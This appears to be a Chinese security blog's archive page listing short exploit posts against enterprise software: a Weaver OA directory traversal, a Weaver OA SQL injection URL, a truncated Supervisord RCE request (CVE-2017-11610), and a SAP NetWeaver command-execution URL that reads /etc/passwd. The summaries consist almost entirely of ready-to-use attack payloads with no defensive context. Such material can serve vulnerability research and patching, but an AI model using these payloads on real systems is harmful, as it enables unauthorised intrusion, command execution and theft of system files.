2019年12月9日
泛微weaver_oa filebrowser.jsp 任意目录遍历
摘要： ``` url//document/imp/filebrowser.jsp?dir=/etc/ ``` 阅读全文
posted @ 2019-12-09 16:10 mrhonest 阅读(726) 评论(0) 推荐(0)
泛微oa系统com.eweaver.base.DataAction文件sql参数sql注入
摘要： ``` URL/ServiceAction/com.eweaver.base.DataAction?sql=select%201,2,3,4,5,6,7,8,9,233%20from%20DUAL%20 ``` 阅读全文
posted @ 2019-12-09 16:08 mrhonest 阅读(691) 评论(0) 推荐(0)
Supervisord rce（CVE-2017-11610）
摘要： ```POST /RPC2 HTTP/1.1Host: localhostAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-w... 阅读全文
posted @ 2019-12-09 15:55 mrhonest 阅读(494) 评论(0) 推荐(0)
Sap Netweaver命令执行
摘要： http://xxxxxx:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cat /etc/passwd 阅读全文
posted @ 2019-12-09 15:29 mrhonest 阅读(1308) 评论(0) 推荐(0)